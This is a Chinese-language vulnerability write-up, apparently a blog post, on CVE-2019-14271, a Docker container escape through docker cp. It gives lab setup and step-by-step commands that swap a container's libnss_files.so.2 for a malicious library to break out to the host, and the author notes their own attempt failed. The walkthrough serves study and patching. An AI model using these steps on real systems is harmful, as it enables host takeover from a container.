影响范围
Docker before 19.03.1
漏洞类型
容器逃逸漏洞
利用条件
影响范围应用
漏洞概述
正常情况下用户通过使用docker cp命令可以将文件从host主机拷贝至容器,或者从容器拷贝至host主机,对应具体操作指令如下:
docker cp {container_id}:/path /path
在将文件从host主机拷贝至容器的过程中Docker使用了一个辅助进程——docker-tar:
docker-tar通过chroot到容器将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中:
这里的chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题,如果访问的文件中有系统链接就会解析到host root,因此攻击者控制的容器就可以尝试和诱使docker cp在主机而非容器上读写文件,当docker-tar进程chroot到容器中时,造成了一个dokcer cp命令导致的容器逃逸漏洞
漏洞环境
这里使用Metarget来构建环境
./metarget cnv install cve-2019-14271
漏洞复现
Step 1:新建一个容器
sudo docker run -itd --name=14271 ubuntu bash
Step 2:将漏洞利用文件拷贝至容器内
#拷贝文件
sudo docker cp exp/ 14271:/
#进入容器
sudo docker exec -it 14271 bash
ls /exp
breakout libnss_files.so.2 original_libnss_files.so.2
cp /exp/* /
chmod 777 /breakout
touch /logs
Step 3:删除容器内原来的so库
rm /lib/x86_64-linux-gnu/libnss_files.so.2
Step 4:使用恶意so文件替换原先的so文件
mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
Step 5:替换后退出容器,在宿主机上执行cp命令:
sudo docker cp 14271:/logs ./
进入容器内部可发现根目录下存在host_fs目录挂载了宿主机的文件系统,成功逃逸(笔者未找到对应的Docker版本故而失败,整个利用流程依旧不变~)
安全建议
升级到最新版本~
参考连接
https://github.com/moby/moby/pull/39612
https://github.com/moby/moby/issues/39449
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34098.html